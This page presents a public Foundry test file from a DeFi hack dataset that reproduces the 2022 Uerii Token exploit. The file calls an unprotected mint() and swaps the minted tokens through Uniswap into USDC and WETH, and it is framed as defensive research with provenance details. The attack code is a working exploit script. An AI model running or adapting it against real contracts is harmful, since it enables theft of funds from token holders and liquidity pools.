Public reproduction file
src/test/2022-10/Uerii_exp.sol
Public reproduction file for dataset entry Uerii Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~2,5K USDC8// Attacker : 0xcc1A341D0F2a06Eaba436935399793F05C2bbE929// Attack Contract : https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D9510// Vulnerable Contract : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be11// Attack Tx : https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b513// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be#code#L49316// @Analysis17// Twitter Peckshield : https://twitter.com/peckshield/status/158198889514252697618// Article Quillaudits : https://quillaudits.medium.com/access-control-vulnerability-in-defi-quillaudits-909e7ed4582c20interface IUERII is IERC20 {21 function mint() external;22}24contract ContractTest is Test {25 IUERII constant UERII_TOKEN = IUERII(0x418C24191aE947A78C99fDc0e45a1f96Afb254BE);26 IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);27 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));28 Uni_Router_V3 constant UNI_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);30 function setUp() public {31 vm.createSelectFork("mainnet", 15_767_837);32 // Adding labels to improve stack traces' readability33 vm.label(address(UERII_TOKEN), "UERII_TOKEN");34 vm.label(address(USDC_TOKEN), "USDC_TOKEN");35 vm.label(address(WETH_TOKEN), "WETH_TOKEN");36 vm.label(address(UNI_ROUTER), "UNI_ROUTER");37 vm.label(0x5FFaf1B4Da96D6Cfd4045035A94A924fC39631dC, "UERII_USDC_PAIR");38 vm.label(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640, "USDC_WETH_PAIR");39 }41 function testExploit() public {42 emit log_named_decimal_uint(43 "[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 1844 );46 // Actual payload exploiting the missing access control47 UERII_TOKEN.mint();49 // Exchanging the newly minted UERII for USDC50 UERII_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);51 _UERIIToUSDC();53 // Exchanging all USDC for WETH54 USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);55 _USDCToWETH();57 emit log_named_decimal_uint(58 "[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 1859 );60 }62 /**63 * Auxiliary function to swap all UERII to USDC64 */65 function _UERIIToUSDC() internal {66 Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({67 tokenIn: address(UERII_TOKEN),68 tokenOut: address(USDC_TOKEN),69 fee: 500,70 recipient: address(this),71 deadline: block.timestamp,72 amountIn: UERII_TOKEN.balanceOf(address(this)),73 amountOutMinimum: 0,74 sqrtPriceLimitX96: 075 });76 UNI_ROUTER.exactInputSingle(_Params);77 }79 /**80 * Auxiliary function to swap all USDC to WETH81 */82 function _USDCToWETH() internal {83 Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({84 tokenIn: address(USDC_TOKEN),85 tokenOut: address(WETH_TOKEN),86 fee: 500,87 recipient: address(this),88 deadline: block.timestamp,89 amountIn: USDC_TOKEN.balanceOf(address(this)),90 amountOutMinimum: 0,91 sqrtPriceLimitX96: 092 });93 UNI_ROUTER.exactInputSingle(_Params);94 }95}Analysis
Dataset entry
Public Foundry test for “Uerii Token” (2022-10-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xcc1a341d0f2a06eaba436935399793f05c2bbe92
- Attack Contract
0xfd4dccd754eaaa8c9196998c5bb06a56df6a1d95
- Vulnerable Contract
0x418c24191ae947a78c99fdc0e45a1f96afb254be
- Attack Tx
0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5
- Twitter: https://twitter.com/peckshield/status/1581988895142526976
- Article: https://quillaudits.medium.com/access-control-vulnerability-in-defi-quillaudits-909e7ed4582c
- Explorer: https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D95
- Explorer: https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be
- Explorer: https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be#code#L493
File record
- Name
- Uerii Token
- Path
- src/test/2022-10/Uerii_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 63c6627bd8da6a5f1fcd9d8d4fcceb79539037d4
- Language
- Solidity
- Size
- 96 lines
- Date
- 2022-10-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/Uerii_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 63c6627bd8da6a5f1fcd9d8d4fcceb79539037d4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.